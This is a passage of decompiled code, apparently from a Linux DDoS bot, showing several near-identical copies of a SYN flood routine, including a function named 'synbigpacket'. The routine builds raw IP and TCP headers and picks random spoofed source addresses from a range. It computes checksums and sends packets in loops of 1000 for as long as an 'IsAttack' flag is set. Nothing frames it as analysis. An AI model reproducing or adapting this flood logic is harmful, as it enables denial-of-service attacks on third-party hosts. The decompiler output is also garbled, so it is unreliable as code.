  2724.              *__esp = 31337;
  2725.             _t1627 = L08075230(__esp);
  2726.              *((intOrPtr*)(_v60 + 4)) = _t1627;
  2727.              *__esp = 0;
  2728.             _t1629 = L08075230(__esp);
  2729.              *((intOrPtr*)(_v60 + 8)) = _t1629;
  2730.              *(_v60 + 12) =  *(_v60 + 12) & 255 & 240;
  2731.              *(_v60 + 12) =  *(_v60 + 12) & 255 & 15 | 160;
  2732.              *(_v60 + 13) = _v82 & 65535;
  2733.              *__esp = 57344;
  2734.             _t1638 = L08075240(__esp);
  2735.              *((short*)(_v60 + 14)) = _t1638;
  2736.              *((short*)(_v60 + 16)) = 0;
  2737.              *(_v60 + 18) = 0;
  2738.             if((_v68 & 3) != 0) {
  2739.                 _v68 = (_v68 + (_v68 >> 31 >> 30) & 3) - (_v68 >> 31 >> 30) + 1 << 2;
  2740.             }
  2741.             _v68 = 40;
  2742.             _v664 = 1;
  2743.             _v52 =  &_v664;
  2744.             _v3532 = 4;
  2745.             _v3536 = _v52;
  2746.             _v3540 = 3;
  2747.             _v3544 = 0;
  2748.             _t1646 = _v80;
  2749.              *__esp = _t1646;
  2750.             L08073640(_t2342, __esp);
  2751.             if(_t1646 >= 0) {
  2752.             } else {
  2753.                 _v48 = 0;
  2754.                 while(1) {
  2755.                     _t1647 = IsAttack;
  2756.                     if(_t1647 == 0) {
  2757.                         break;
  2758.                     }
  2759.                     _v44 = 0;
  2760.                     while(_v44 <= 999) {
  2761.                         L0805EBE0();
  2762.                         _t2387 = _t1647;
  2763.                         _v696 = -2147450879;
  2764.                         _v688 = ((_v696 * _t2387 >> 32) + _t2387 >> 15) - (_t2387 >> 31);
  2765.                         _v688 = _t2387 - (_v688 << 16) - _v688;
  2766.                          *__esp = _v688;
  2767.                         _t1657 = L08075230(__esp);
  2768.                         _t1658 = _v60;
  2769.                          *((intOrPtr*)(_t1658 + 4)) = _t1657;
  2770.                         L0805EBE0();
  2771.                         _t2388 = _t1658;
  2772.                         _v696 = -2147450879;
  2773.                         _v684 = ((_v696 * _t2388 >> 32) + _t2388 >> 15) - (_t2388 >> 31);
  2774.                         _v684 = _t2388 - (_v684 << 16) - _v684;
  2775.                          *__esp = _v684 & 65535 & 65535;
  2776.                         _t1669 = L08075240(__esp);
  2777.                         _t1670 = _v60;
  2778.                          *((short*)(_t1670 + 14)) = _t1669;
  2779.                         L0805EBE0();
  2780.                         _t2389 = _t1670;
  2781.                         _v696 = -2147450879;
  2782.                         _t2342 = ((_v696 * _t2389 >> 32) + _t2389 >> 15) - (_t2389 >> 31);
  2783.                         _v680 = _t2342;
  2784.                         _t2674 = _t2389 - (_v680 << 16) - _v680;
  2785.                         _v680 = _t2389 - (_v680 << 16) - _v680;
  2786.                          *_v60 = _v680 & 65535;
  2787.                         _t1681 = _v88 - _v92;
  2788.                         _v40 = _t1681;
  2789.                         if(_v40 <= 0) {
  2790.                             goto L107;
  2791.                         } else {
  2792.                             L0805EBE0();
  2793.                             _v36 = _t1681 % _v40 + _v92;
  2794.                             L0806F850(_t2342, _t2674, __esi,  &_v260, 0, 20);
  2795.                             _v3528 = _v36 & 255;
  2796.                             _v3532 = _v36 >> 8 & 255;
  2797.                             _v3536 = _v36 >> 16 & 255;
  2798.                             L0805FF50( &_v260, "%d.%d.%d.%d", _v36 >> 24);
  2799.                             _t1698 = L08073B40( &_v260);
  2800.                             (_v64[0xc]) = _t1698;
  2801.                             L0806F850(_v36 >> 16 & 255, _t2674, __esi,  &_v644, 0, 128);
  2802.                             L0806F9E0(_t2674, __esi,  &_v644,  &(_v64[0xc]), 4);
  2803.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[2]),  &(_v64[0x10]), 4);
  2804.                             _v636 = 0;
  2805.                             _v635 = (_v64[9]) & 255;
  2806.                             _v634 = _v68 >> 8;
  2807.                             _v633 = _v68;
  2808.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[6]), _v60, 20);
  2809.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[0x10]), _v56, 8);
  2810.                             _t1726 = csum( &_v644, _v68 + 12);
  2811.                              *((short*)(_v60 + 16)) = _t1726;
  2812.                             _t2342 =  &_v660;
  2813.                             _t1729 = (_v64[2]) & 65535;
  2814.                             __esi = _t1729 & 65535;
  2815.                             L0805EBE0();
  2816.                             _t2393 = _t1729;
  2817.                             _v696 = -1600085855;
  2818.                             _t2508 = _v696 * _t2393 >> 32;
  2819.                             _t1734 = _t2393 >> 31;
  2820.                             _t2674 = (_t2508 + _t2393 >> 7) - _t1734;
  2821.                             _v676 = (_t2508 + _t2393 >> 7) - _t1734;
  2822.                             _v676 = _t2393 - _t1734 * _v676;
  2823.                             _v3528 = 16;
  2824.                             _v3532 = _t2342;
  2825.                             _v3536 = 0;
  2826.                             _v3540 = __esi + _v676 + 800;
  2827.                             _t1647 = L08052C20(__esi, _v80,  &_v516);
  2828.                             _v44 = _v44 + 1;
  2829.                             continue;
  2830.                         }
  2831.                         goto L107;
  2832.                     }
  2833.                 }
  2834.             }
  2835.         }
  2836.     }
  2837. L107:
  2838.     L08052A50(_v80);
  2839.     _t1410 = L08051050();
  2840.     L08051000(_t1410);
  2841.      *__esp = 0;
  2842.     L08050FE0();
  2843.     goto L108;
  2844. L108:
  2845.     _push(_t2691);
  2846.     _t2692 = __esp;
  2847.     _push(__esi);
  2848.     _push(_t2342);
  2849.     __esp = __esp - 704;
  2850.     L0806F910( &_v3780, 160);
  2851.     L0806F9E0(_t2674, __esi,  &_v3780, _v3544, 160);
  2852.     _v3618 = 16;
  2853.     _v4260 = 16;
  2854.     _t1417 =  &_v4200;
  2855.      *__esp = _t1417;
  2856.     L0806F910();
  2857.     _v4256 = 6;
  2858.     L08073680(_t2342, __esp, 2, 3);
  2859.     _v3616 = _t1417;
  2860.     _v4200 = 2;
  2861.     _v3612 = _v3768;
  2862.     if(_v3612 <= 60 || _v84 > 800) {
  2863.         _v84 = 61;
  2864.     }
  2865.     _v80 = _v84 - 60;
  2866.     _t1422 =  &_v252 + 20;
  2867.     L08075250(_t1422);
  2868.     _v76 = _t1422;
  2869.     if(_v76 != 0) {
  2870.         _t1448 = L0806E4D0( &_v252 + 20, "0.0.0.0");
  2871.         if(_t1448 == 0) {
  2872.         } else {
  2873.             _v72 = 0;
  2874.             _v72 = _v236;
  2875.             if(_v72 <= 0 || _v72 > 86400) {
  2876.                 _v72 = 20;
  2877.             }
  2878.             _v668 =  *( *( *(_v76 + 16)));
  2879.             _v68 = 20;
  2880.             _v64 =  &_v528;
  2881.             _v60 =  &_v528 + 20;
  2882.             _v56 =  &_v528 + 40;
  2883.              *_v64 =  *_v64 & 255 & 240 | 5;
  2884.              *_v64 =  *_v64 & 255 & 15 | 64;
  2885.             (_v64[1]) = 0;
  2886.             (_v64[2]) = 60;
  2887.              *__esp = 31337;
  2888.             _t1467 = L08075240(__esp);
  2889.             (_v64[4]) = _t1467;
  2890.             (_v64[6]) = 0;
  2891.             (_v64[8]) = 250;
  2892.             (_v64[9]) = 6;
  2893.             (_v64[0xa]) = 0;
  2894.             (_v64[0x10]) = _v668;
  2895.              *__esp = _v104 & 65535;
  2896.             _t1476 = L08075240(__esp);
  2897.              *((short*)(_v60 + 2)) = _t1476;
  2898.              *__esp = 31337;
  2899.             _t1478 = L08075230(__esp);
  2900.              *((intOrPtr*)(_v60 + 4)) = _t1478;
  2901.              *__esp = 0;
  2902.             _t1480 = L08075230(__esp);
  2903.              *((intOrPtr*)(_v60 + 8)) = _t1480;
  2904.              *(_v60 + 12) =  *(_v60 + 12) & 255 & 240;
  2905.              *(_v60 + 12) =  *(_v60 + 12) & 255 & 15 | 160;
  2906.              *(_v60 + 13) = _v90 & 65535;
  2907.              *__esp = 57344;
  2908.             _t1489 = L08075240(__esp);
  2909.              *((short*)(_v60 + 14)) = _t1489;
  2910.              *((short*)(_v60 + 16)) = 0;
  2911.              *(_v60 + 18) = 0;
  2912.             if((_v68 & 3) != 0) {
  2913.                 _v68 = (_v68 + (_v68 >> 31 >> 30) & 3) - (_v68 >> 31 >> 30) + 1 << 2;
  2914.             }
  2915.             _v68 = 40;
  2916.             _v676 = 1;
  2917.             _v52 =  &_v676;
  2918.             _v4248 = 4;
  2919.             _v4252 = _v52;
  2920.             _v4256 = 3;
  2921.             _v4260 = 0;
  2922.             _t1497 = _v88;
  2923.              *__esp = _t1497;
  2924.             L08073640(_t2342, __esp);
  2925.             if(_t1497 >= 0) {
  2926.             } else {
  2927.                 _v48 = 0;
  2928.                 while(1) {
  2929.                     _t1498 = IsAttack;
  2930.                     if(_t1498 == 0) {
  2931.                         break;
  2932.                     }
  2933.                     _v44 = 0;
  2934.                     while(_v44 <= 999) {
  2935.                         L0805EBE0();
  2936.                         _t2379 = _t1498;
  2937.                         _v712 = -2147450879;
  2938.                         _v700 = ((_v712 * _t2379 >> 32) + _t2379 >> 15) - (_t2379 >> 31);
  2939.                         _v700 = _t2379 - (_v700 << 16) - _v700;
  2940.                          *__esp = _v700;
  2941.                         _t1508 = L08075230(__esp);
  2942.                         _t1509 = _v60;
  2943.                          *((intOrPtr*)(_t1509 + 4)) = _t1508;
  2944.                         L0805EBE0();
  2945.                         _t2380 = _t1509;
  2946.                         _v712 = -2147450879;
  2947.                         _v696 = ((_v712 * _t2380 >> 32) + _t2380 >> 15) - (_t2380 >> 31);
  2948.                         _v696 = _t2380 - (_v696 << 16) - _v696;
  2949.                          *__esp = _v696 & 65535 & 65535;
  2950.                         _t1520 = L08075240(__esp);
  2951.                         _t1521 = _v60;
  2952.                          *((short*)(_t1521 + 14)) = _t1520;
  2953.                         L0805EBE0();
  2954.                         _t2381 = _t1521;
  2955.                         _v712 = -2147450879;
  2956.                         _t2457 = _v712 * _t2381 >> 32;
  2957.                         _t2348 = (_t2457 + _t2381 >> 15) - (_t2381 >> 31);
  2958.                         _v692 = (_t2457 + _t2381 >> 15) - (_t2381 >> 31);
  2959.                         _v692 = _t2381 - (_v692 << 16) - _v692;
  2960.                          *_v60 = _v692 & 65535;
  2961.                         _t1532 = _v96 - _v100;
  2962.                         _v40 = _t1532;
  2963.                         if(_v40 <= 0) {
  2964.                             goto L131;
  2965.                         } else {
  2966.                             L0805EBE0();
  2967.                             _v36 = _t1532 % _v40 + _v100;
  2968.                             L0806F850(_t2348, _t2674, __esi,  &_v272, 0, 20);
  2969.                             _v4244 = _v36 & 255;
  2970.                             _v4248 = _v36 >> 8 & 255;
  2971.                             _v4252 = _v36 >> 16 & 255;
  2972.                             L0805FF50( &_v272, "%d.%d.%d.%d", _v36 >> 24);
  2973.                             _t1549 = L08073B40( &_v272);
  2974.                             (_v64[0xc]) = _t1549;
  2975.                             L0806F850(_v36 >> 16 & 255, _t2674, __esi,  &_v656, 0, 128);
  2976.                             L0806F9E0(_t2674, __esi,  &_v656,  &(_v64[0xc]), 4);
  2977.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v656)[2]),  &(_v64[0x10]), 4);
  2978.                             _v648 = 0;
  2979.                             _v647 = (_v64[9]) & 255;
  2980.                             _v646 = _v68 >> 8;
  2981.                             _v645 = _v68;
  2982.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v656)[6]), _v60, 20);
  2983.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v656)[0x10]), _v56, 8);
  2984.                             _t1577 = csum( &_v656, _v68 + 12);
  2985.                              *(_v60 + 16) = _t1577;
  2986.                             __esi =  &_v672;
  2987.                             L0805EBE0();
  2988.                             _v4244 = 16;
  2989.                             _v4248 = __esi;
  2990.                             _v4252 = 0;
  2991.                             _v4256 = ((_v64[2]) & 65535 & 65535) + ((_v64[2]) & 65535) % _v80;
  2992.                             _t1498 = L08052C20(__esi, _v88,  &_v528);
  2993.                             _v44 = _v44 + 1;
  2994.                             continue;
  2995.                         }
  2996.                         goto L131;
  2997.                     }
  2998.                 }
  2999.             }
  3000.         }
  3001.     }
  3002. L131:
  3003.     L08052A50(_v88);
  3004.     _t1425 = L08051050();
  3005.     L08051000(_t1425);
  3006.      *__esp = 0;
  3007.     L08050FE0();
  3008.     goto L132;
  3009. L132:
  3010.     _push(_t2692);
  3011.     __esp = __esp - 16;
  3012.     _v4280 = _v4256;
  3013.     _v4276 = _v4260;
  3014.     _v4272 = 0;
  3015.     _v4282 = 0;
  3016.     while(_v40 > 1) {
  3017.         _v32 = _v32 + ( *_v36 & 65535 & 65535);
  3018.         _v36 = _v36 + 2;
  3019.         _v40 = _v40 - 2;
  3020.     }
  3021. }
  3022.  
  3023. int synbigpacket(_Unknown_base* ThreadData)
  3024. {// addr = 0x0804A285
  3025.     SYNPACKET SynObj;
  3026.     short int tcp_flags;
  3027.     char[19] szNewIP;
  3028.     char[255] szPackData;
  3029.     char[127] pheader;
  3030.     struct sockaddr_in servaddr;
  3031.     int hSockft;
  3032.     struct hostent* szhost;
  3033.     int nTime;
  3034.     int tcphdr_size;
  3035.     struct ip* iph;
  3036.     struct tcphdr* tcph;
  3037.     struct tcp_options* tcpopt;
  3038.     int one;
  3039.     const int* val;
  3040.     int looptime;
  3041.     int aa;
  3042.     int ShamBase;
  3043.     int dwNewIP;
  3044.     signed int _v20;
  3045.     signed int _v24;
  3046.     signed int _v28;
  3047.     signed int _v32;
  3048.     signed int _v36;
  3049.     _unknown_ _v38;
  3050.     signed int _v40;
  3051.     signed int _v44;
  3052.     char* _v48;
  3053.     unsigned int _v52;
  3054.     signed int _v56;
  3055.     signed char* _v60;
  3056.     unsigned int _v64;
  3057.     signed int _v66;
  3058.     unsigned int _v68;
  3059.     signed int _v72;
  3060.     signed short _v74;
  3061.     signed int _v76;
  3062.     signed short _v78;
  3063.     signed int _v80;
  3064.     signed int _v84;
  3065.     signed short _v86;
  3066.     signed int _v88;
  3067.     signed int _v92;
  3068.     intOrPtr _v96;
  3069.     signed int _v100;
  3070.     signed int _v212;
  3071.     signed int _v220;
  3072.     unsigned int _v224;
  3073.     unsigned int _v232;
  3074.     char _v236;
  3075.     char _v244;
  3076.     char _v248;
  3077.     char _v256;
  3078.     char _v268;
  3079.     char _v500;
  3080.     char _v512;
  3081.     char _v524;
  3082.     unsigned int _v617;
  3083.     unsigned short _v618;
  3084.     signed int _v619;
  3085.     signed int _v620;
  3086.     short unsigned int _v628;
  3087.     unsigned int _v629;
  3088.     unsigned short _v630;
  3089.     signed int _v631;
  3090.     signed int _v632;
  3091.     short unsigned int _v640;
  3092.     unsigned int _v641;
  3093.     unsigned short _v642;
  3094.     signed int _v643;
  3095.     signed int _v644;
  3096.     char _v648;
  3097.     short unsigned int _v652;
  3098.     char _v656;
  3099.     char _v660;
  3100.     signed int _v664;
  3101.     char _v668;
  3102.     char _v672;
  3103.     signed int _v676;
  3104.     signed int _v680;
  3105.     signed int _v684;
  3106.     signed short _v688;
  3107.     signed short _v692;
  3108.     signed int _v696;
  3109.     signed int _v700;
  3110.     signed int _v704;
  3111.     signed int _v708;
  3112.     signed int _v712;
  3113.     intOrPtr _v780;
  3114.     signed int _v784;
  3115.     signed short _v786;
  3116.     intOrPtr _v936;
  3117.     char _v948;
  3118.     signed short _v1368;
  3119.     signed int _v1412;
  3120.     signed int _v1416;
  3121.     signed int _v1420;
  3122.     signed int _v1424;
  3123.     signed int _v1428;
  3124.     intOrPtr _v1484;
  3125.     signed int _v1488;
  3126.     signed int _v1490;
  3127.     char _v1648;
  3128.     signed short _v2068;
  3129.     signed int _v2112;
  3130.     signed int _v2116;
  3131.     signed int _v2120;
  3132.     signed int _v2124;
  3133.     signed int _v2128;
  3134.     intOrPtr _v2192;
  3135.     signed int _v2196;
  3136.     signed int _v2198;
  3137.     char _v2356;
  3138.     signed short _v2776;
  3139.     signed int _v2828;
  3140.     signed int _v2832;
  3141.     signed int _v2836;
  3142.     signed char _v2840;
  3143.     signed int _v2844;
  3144.     intOrPtr _v2912;
  3145.     signed int _v2916;
  3146.     signed int _v2918;
  3147.     intOrPtr _v3068;
  3148.     char _v3080;
  3149.     signed short _v3500;
  3150.     signed int _v3544;
  3151.     signed int _v3548;
  3152.     signed int _v3552;
  3153.     signed char _v3556;
  3154.     signed int _v3560;
  3155.     signed int _v3572;
  3156.     signed int _v3576;
  3157.     signed char _v3580;
  3158.     signed int _v3582;
  3159.     _unknown_ r6;
  3160.     _unknown_ _t1142;
  3161.     unsigned int _t1143;
  3162.     signed char* _t1145;
  3163.     _unknown_ _t1147;
  3164.     _unknown_ _t1148;
  3165.     _unknown_ _t1149;
  3166.     _unknown_ _t1150;
  3167.     _unknown_ _t1154;
  3168.     signed int _t1155;
  3169.     signed char* _t1160;
  3170.     _unknown_ _t1162;
  3171.     _unknown_ _t1163;
  3172.     _unknown_ _t1164;
  3173.     _unknown_ _t1165;
  3174.     _unknown_ _t1169;
  3175.     signed int _t1170;
  3176.     intOrPtr _t1172;
  3177.     _unknown_ _t1174;
  3178.     _unknown_ _t1175;
  3179.     _unknown_ _t1176;
  3180.     _unknown_ _t1177;
  3181.     _unknown_ _t1181;
  3182.     signed int _t1182;
  3183.     intOrPtr _t1184;
  3184.     _unknown_ _t1186;
  3185.     _unknown_ _t1187;
  3186.     _unknown_ _t1188;
  3187.     _unknown_ _t1189;
  3188.     _unknown_ _t1193;
  3189.     signed int _t1194;
  3190.     signed int _t1199;
  3191.     _unknown_ _t1201;
  3192.     _unknown_ _t1202;
  3193.     _unknown_ _t1203;
  3194.     _unknown_ _t1204;
  3195.     _unknown_ _t1225;
  3196.     signed char _t1244;
  3197.     short _t1253;
  3198.     intOrPtr _t1255;
  3199.     intOrPtr _t1257;
  3200.     short _t1266;
  3201.     signed int _t1274;
  3202.     signed int _t1275;
  3203.     _unknown_ _t1277;
  3204.     intOrPtr _t1285;
  3205.     signed int _t1286;
  3206.     _unknown_ _t1288;
  3207.     short _t1297;
  3208.     signed int _t1298;
  3209.     _unknown_ _t1300;
  3210.     signed int _t1309;
  3211.     _unknown_ _t1311;
  3212.     _unknown_ _t1316;
  3213.     signed char _t1326;
  3214.     _unknown_ _t1329;
  3215.     _unknown_ _t1333;
  3216.     _unknown_ _t1338;
  3217.     _unknown_ _t1347;
  3218.     _unknown_ _t1351;
  3219.     short unsigned int _t1354;
  3220.     _unknown_ _t1359;
  3221.     _unknown_ _t1374;
  3222.     signed char _t1393;
  3223.     short _t1402;
  3224.     intOrPtr _t1404;
  3225.     intOrPtr _t1406;
  3226.     short _t1415;
  3227.     signed int _t1423;
  3228.     signed int _t1424;
  3229.     _unknown_ _t1426;
  3230.     intOrPtr _t1434;
  3231.     signed int _t1435;
  3232.     _unknown_ _t1437;
  3233.     short _t1446;
  3234.     signed int _t1447;
  3235.     _unknown_ _t1449;
  3236.     signed int _t1458;
  3237.     _unknown_ _t1460;
  3238.     _unknown_ _t1465;
  3239.     signed char _t1475;
  3240.     _unknown_ _t1478;
  3241.     _unknown_ _t1482;
  3242.     _unknown_ _t1487;
  3243.     _unknown_ _t1496;
  3244.     _unknown_ _t1500;
  3245.     short unsigned int _t1503;
  3246.     signed int _t1506;
  3247.     _unknown_ _t1508;
  3248.     signed int _t1511;
  3249.     _unknown_ _t1527;
  3250.     char _t1546;
  3251.     short _t1555;
  3252.     intOrPtr _t1557;
  3253.     intOrPtr _t1559;
  3254.     short _t1568;
  3255.     signed int _t1576;
  3256.     signed int _t1577;
  3257.     _unknown_ _t1579;
  3258.     intOrPtr _t1587;
  3259.     signed int _t1588;
  3260.     _unknown_ _t1590;
  3261.     short _t1599;
  3262.     signed int _t1600;
  3263.     _unknown_ _t1602;
  3264.     signed int _t1611;
  3265.     _unknown_ _t1613;
  3266.     _unknown_ _t1618;
  3267.     char _t1628;
  3268.     _unknown_ _t1631;
  3269.     _unknown_ _t1635;
  3270.     _unknown_ _t1640;
  3271.     _unknown_ _t1649;
  3272.     _unknown_ _t1653;
  3273.     short unsigned int _t1656;
  3274.     _unknown_ _t1673;
  3275.     char _t1692;
  3276.     short _t1701;
  3277.     intOrPtr _t1703;
  3278.     intOrPtr _t1705;
  3279.     short _t1714;
  3280.     signed int _t1722;
  3281.     signed int _t1723;
  3282.     _unknown_ _t1725;
  3283.     intOrPtr _t1733;
  3284.     signed int _t1734;
  3285.     _unknown_ _t1736;
  3286.     short _t1745;
  3287.     signed int _t1746;
  3288.     _unknown_ _t1748;
  3289.     signed int _t1757;
  3290.     _unknown_ _t1759;
  3291.     _unknown_ _t1764;
  3292.     char _t1774;
  3293.     _unknown_ _t1777;
  3294.     _unknown_ _t1781;
  3295.     _unknown_ _t1786;
  3296.     _unknown_ _t1795;
  3297.     _unknown_ _t1799;
  3298.     short unsigned int _t1802;
  3299.     signed int _t1805;
  3300.     _unknown_ _t1807;
  3301.     _unknown_ _t1822;
  3302.     char _t1841;
  3303.     short _t1850;
  3304.     intOrPtr _t1852;
  3305.     intOrPtr _t1854;
  3306.     short _t1863;
  3307.     signed int _t1871;
  3308.     signed int _t1872;
  3309.     _unknown_ _t1874;
  3310.     intOrPtr _t1882;
  3311.     signed int _t1883;
  3312.     _unknown_ _t1885;
  3313.     short _t1894;
  3314.     signed int _t1895;
  3315.     _unknown_ _t1897;
  3316.     signed int _t1906;
  3317.     _unknown_ _t1908;
  3318.     _unknown_ _t1913;
  3319.     char _t1923;
  3320.     _unknown_ _t1926;
  3321.     _unknown_ _t1930;
  3322.     _unknown_ _t1935;
  3323.     _unknown_ _t1944;
  3324.     _unknown_ _t1948;
  3325.     short unsigned int _t1951;
  3326.     signed int _t1954;
  3327.     _unknown_ _t1956;
  3328.     signed int _t1959;
  3329.     signed int _t1973;
  3330.     signed int _t2005;
  3331.     signed int _t2006;
  3332.     signed int _t2007;
  3333.     signed int _t2013;
  3334.     signed int _t2014;
  3335.     signed int _t2015;
  3336.     signed int _t2019;
  3337.     signed int _t2023;
  3338.     signed int _t2024;
  3339.     signed int _t2025;
  3340.     signed int _t2031;
  3341.     signed int _t2032;
  3342.     signed int _t2033;
  3343.     signed int _t2039;
  3344.     signed int _t2040;
  3345.     signed int _t2041;
  3346.     signed int _t2045;
  3347.     signed int _t2075;
  3348.     _unknown_ _t2083;
  3349.     _unknown_ _t2091;
  3350.     _unknown_ _t2119;
  3351.     signed int _t2126;
  3352.     _unknown_ _t2163;
  3353.     _unknown_ _t2203;
  3354.     _unknown_ _t2211;
  3355.     _unknown_ _t2239;
  3356.     _unknown_ _t2265;
  3357.     signed int* _t2266;
  3358.     signed int* _t2267;
  3359.     signed int* _t2268;
  3360.     signed int* _t2269;
  3361.     _unknown_ _t2270;
  3362.  
  3363.     _push(_t2252);
  3364.     _push(__esi);
  3365.     _push(_t1973);
  3366.     __esp = __esp - 700;
  3367.     L0806F910( &_v224, 156);
  3368.     L0806F9E0(_t2252, __esi,  &_v224, ThreadData, 156);
  3369.     _v66 = 2;
  3370.     _v712 = 16;
  3371.     _t1143 =  &_v644;
  3372.      *__esp = _t1143;
  3373.     L0806F910();
  3374.     _v708 = 6;
  3375.     L08073680(_t1973, __esp, 2, 3);
  3376.     _v64 = _t1143;
  3377.     _v644 = 2;
  3378.     _t1145 =  &((char*)( &_v224)[4]);
  3379.     L08075250(_t1145);
  3380.     _v60 = _t1145;
  3381.     if(_v60 != 0) {
  3382.         _t1822 = L0806E4D0( &((char*)( &_v224)[4]), "0.0.0.0");
  3383.         if(_t1822 == 0) {
  3384.         } else {
  3385.             _v56 = 0;
  3386.             _v56 = _v212;
  3387.             if(_v56 <= 0 || _v56 > 86400) {
  3388.                 _v56 = 20;
  3389.             }
  3390.             _v640 =  *( *(_v60[0x10]));
  3391.             _v52 = 20;
  3392.             _v48 =  &_v500;
  3393.             _v44 =  &_v500 + 20;
  3394.             _v40 =  &_v500 + 40;
  3395.              *_v48 =  *_v48 & 255 & 240 | 5;
  3396.              *_v48 =  *_v48 & 255 & 15 | 64;
  3397.             (_v48[1]) = 0;
  3398.             (_v48[2]) = 60;
  3399.              *__esp = 31337;
  3400.             _t1841 = L08075240(__esp);
  3401.             (_v48[4]) = _t1841;
  3402.             (_v48[6]) = 0;
  3403.             (_v48[8]) = 250;
  3404.             (_v48[9]) = 6;
  3405.             (_v48[0xa]) = 0;
  3406.             (_v48[0x10]) = _v640;
  3407.              *__esp = _v80 & 65535;
  3408.             _t1850 = L08075240(__esp);
  3409.              *((short*)(_v44 + 2)) = _t1850;
  3410.              *__esp = 31337;
  3411.             _t1852 = L08075230(__esp);
  3412.              *((intOrPtr*)(_v44 + 4)) = _t1852;
  3413.              *__esp = 0;
  3414.             _t1854 = L08075230(__esp);
  3415.              *((intOrPtr*)(_v44 + 8)) = _t1854;
  3416.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
  3417.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
  3418.              *(_v44 + 13) = _v66 & 65535;
  3419.              *__esp = 57344;
  3420.             _t1863 = L08075240(__esp);
  3421.              *((short*)(_v44 + 14)) = _t1863;
  3422.              *(_v44 + 16) = 0;
  3423.              *(_v44 + 18) = 0;
  3424.             if((_v52 & 3) != 0) {
  3425.                 _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
  3426.             }
  3427.             _v52 = 40;
  3428.             _v648 = 1;
  3429.             _v36 =  &_v648;
  3430.             _v700 = 4;
  3431.             _v704 = _v36;
  3432.             _v708 = 3;
  3433.             _v712 = 0;
  3434.             _t1871 = _v64;
  3435.              *__esp = _t1871;
  3436.             L08073640(_t1973, __esp);
  3437.             if(_t1871 >= 0) {
  3438.             } else {
  3439.                 _v32 = 0;
  3440.                 while(1) {
  3441.                     _t1872 = IsAttack;
  3442.                     if(_t1872 == 0) {
  3443.                         break;
  3444.                     }
  3445.                     _v28 = 0;
  3446.                     while(_v28 <= 999) {
  3447.                         L0805EBE0();
  3448.                         _t2039 = _t1872;
  3449.                         _v680 = -2147450879;
  3450.                         _v672 = ((_v680 * _t2039 >> 32) + _t2039 >> 15) - (_t2039 >> 31);
  3451.                         _v672 = _t2039 - (_v672 << 16) - _v672;
  3452.                          *__esp = _v672;
  3453.                         _t1882 = L08075230(__esp);
  3454.                         _t1883 = _v44;
  3455.                          *((intOrPtr*)(_t1883 + 4)) = _t1882;
  3456.                         L0805EBE0();
  3457.                         _t2040 = _t1883;
  3458.                         _v680 = -2147450879;
  3459.                         _v668 = ((_v680 * _t2040 >> 32) + _t2040 >> 15) - (_t2040 >> 31);
  3460.                         _v668 = _t2040 - (_v668 << 16) - _v668;
  3461.                          *__esp = _v668 & 65535 & 65535;
  3462.                         _t1894 = L08075240(__esp);
  3463.                         _t1895 = _v44;
  3464.                          *((short*)(_t1895 + 14)) = _t1894;
  3465.                         L0805EBE0();
  3466.                         _t2041 = _t1895;
  3467.                         _v680 = -2147450879;
  3468.                         _t1973 = ((_v680 * _t2041 >> 32) + _t2041 >> 15) - (_t2041 >> 31);
  3469.                         _v664 = _t1973;
  3470.                         _t2252 = _t2041 - (_v664 << 16) - _v664;
  3471.                         _v664 = _t2252;
  3472.                          *_v44 = _v664 & 65535;
  3473.                         _t1906 = _v72 - _v76;
  3474.                         _v24 = _t1906;
  3475.                         if(_v24 <= 0) {
  3476.                             goto L20;
  3477.                         } else {
  3478.                             L0805EBE0();
  3479.                             _v20 = _t1906 % _v24 + _v76;
  3480.                             L0806F850(_t1973, _t2252, __esi,  &_v244, 0, 20);
  3481.                             _v696 = _v20 & 255;
  3482.                             _v700 = _v20 >> 8 & 255;
  3483.                             _v704 = _v20 >> 16 & 255;
  3484.                             L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
  3485.                             _t1923 = L08073B40( &_v244);
  3486.                             (_v48[0xc]) = _t1923;
  3487.                             L0806F850(_v20 >> 16 & 255, _t2252, __esi,  &_v628, 0, 128);
  3488.                             L0806F9E0(_t2252, __esi,  &_v628,  &(_v48[0xc]), 4);
  3489.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[2]),  &(_v48[0x10]), 4);
  3490.                             _v620 = 0;
  3491.                             _v619 = (_v48[9]) & 255;
  3492.                             _v618 = _v52 >> 8;
  3493.                             _v617 = _v52;
  3494.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[6]), _v44, 20);
  3495.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[0x10]), _v40, 8);
  3496.                             _t1951 = csum( &_v628, _v52 + 12);
  3497.                              *(_v44 + 16) = _t1951;
  3498.                             _t1973 =  &_v644;
  3499.                             _t1954 = (_v48[2]) & 65535;
  3500.                             __esi = _t1954 & 65535;
  3501.                             L0805EBE0();
  3502.                             _t2045 = _t1954;
  3503.                             _v680 = -1600085855;
  3504.                             _t1959 = _t2045 >> 31;
  3505.                             _t2252 = ((_v680 * _t2045 >> 32) + _t2045 >> 7) - _t1959;
  3506.                             _v660 = _t2252;
  3507.                             _v660 = _t2045 - _t1959 * _v660;
  3508.                             _v696 = 16;
  3509.                             _v700 = _t1973;
  3510.                             _v704 = 0;
  3511.                             _v708 = __esi + _v660 + 800;
  3512.                             _t1872 = L08052C20(__esi, _v64,  &_v500);
  3513.                             _v28 = _v28 + 1;
  3514.                             continue;
  3515.                         }
  3516.                         goto L20;
  3517.                     }
  3518.                 }
  3519.             }
  3520.         }
  3521.     }
  3522. L20:
  3523.     L08052A50(_v64);
  3524.     _t1148 = L08051050();
  3525.     L08051000(_t1148);
  3526.      *__esp = 0;
  3527.     L08050FE0();
  3528.     goto L21;
  3529. L21:
  3530.     _push(_t2265);
  3531.     _t2266 = __esp;
  3532.     _push(__esi);
  3533.     _push(_t1973);
  3534.     __esp = __esp - 704;
  3535.     L0806F910( &_v948, 160);
  3536.     L0806F9E0(_t2252, __esi,  &_v948, _v712, 160);
  3537.     _v786 = 2;
  3538.     _v1428 = 16;
